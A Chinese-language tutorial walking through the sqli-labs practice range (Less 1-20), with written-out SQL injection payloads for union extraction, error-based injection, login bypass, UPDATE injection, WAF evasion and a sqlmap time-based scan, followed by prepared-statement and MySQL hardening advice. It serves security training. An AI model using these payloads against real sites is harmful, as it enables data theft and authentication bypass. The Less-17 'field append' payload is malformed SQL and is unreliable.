1. Sqli-labs靶场基础挑战解析（Less 1-20）
作为Web安全领域的经典实训平台，sqli-labs通过20个渐进式关卡系统性地展示了SQL注入攻击的各类场景。我在实际渗透测试工作中发现，超过60%的初级漏洞源于开发者对基础注入原理的认知不足。这个系列将用红队视角拆解每关的突破路径，重点培养"漏洞发现→利用链构建→防御绕过"的实战思维。
2. 实验环境与核心概念
2.1 靶场部署要点
推荐使用Docker快速搭建隔离环境：
docker pull acgpiano/sqli-labs docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs部署后访问http://localhost完成初始化，注意需修改/var/www/html/sql-connections/db-creds.inc中的MySQL密码为弱密码（如toor）以避免连接问题。
2.2 SQL注入核心原理
当用户输入被直接拼接到SQL语句时，攻击者通过构造特殊输入改变原语句逻辑。例如：
-- 原语句 SELECT * FROM users WHERE id='$input' -- 注入后 SELECT * FROM users WHERE id='1' OR '1'='1'这种基于联合查询的字符型GET注入是最经典的攻击形式，后续关卡会逐步引入报错注入、布尔盲注等高级技术。
3. 基础关卡通关详解（Less 1-10）
3.1 Less-1：字符型单引号注入
这是最基础的注入类型，通过URL参数构造Payload：
?id=1' AND 1=1 --+关键步骤：
- 单引号测试触发数据库报错
--+注释掉后续语句- 逐步增加查询字段数：
ORDER BY 4确定列数 - 联合查询获取敏感数据：
UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables
注意：MySQL 5.0+版本必须使用information_schema数据库获取元数据
3.2 Less-5：报错注入实战
当页面不返回查询结果但显示错误信息时，可利用：
?id=1' AND updatexml(1,concat(0x7e,(SELECT @@version)),1) --+报错注入函数对比：
| 函数 | 触发条件 | 输出限制 |
|---|---|---|
| updatexml() | XPath语法错误 | 32字符 |
| extractvalue() | XPath语法错误 | 32字符 |
| floor() | 主键重复 | 完整输出 |
4. 中级技巧突破（Less 11-20）
4.1 Less-11：POST表单注入
使用Burp Suite拦截登录请求，修改POST参数：
uname=admin' OR 1=1 -- &passwd=123关键差异点：
- POST注入需URL编码特殊字符
- 头部需设置
Content-Type: application/x-www-form-urlencoded - 密码字段通常采用MD5加密，需注意绕过逻辑
4.2 Less-17：UPDATE语句注入
密码重置场景的注入特例：
UPDATE users SET passwd='newpass' WHERE user='admin' AND passwd='oldpass'利用方式：
- 闭合单引号：
admin' -- - 条件覆盖：
admin' OR 1=1 -- - 字段追加：
admin' SET passwd='hacked' WHERE user='admin' --
5. 防御绕过高级技巧
5.1 编码混淆技术
当存在WAF时可采用：
- 十六进制编码：
SELECT→0x53454C454354 - 注释分割：
SEL/*xxx*/ECT - 大小写混合：
SeLeCt
5.2 时间盲注自动化
使用SQLMap的时序参数：
sqlmap -u "http://target.com?id=1" --technique=T --time-sec=5关键判断逻辑：
if response.elapsed.total_seconds() > threshold: return True else: return False6. 企业级防护方案
6.1 开发层防御
- 预编译语句（Java示例）：
String sql = "SELECT * FROM users WHERE id = ?"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setInt(1, userInput);6.2 运维层加固
- MySQL安全配置：
[mysqld] secure-file-priv = NULL local-infile = 0 skip-show-database我在实际渗透测试中发现，即使采用预编译，如果动态表名/列名处理不当仍会导致注入。建议结合ORM框架的严格模式，并定期使用SQLMap进行自动化漏洞扫描。对于关键业务系统，应当部署RASP进行运行时防护。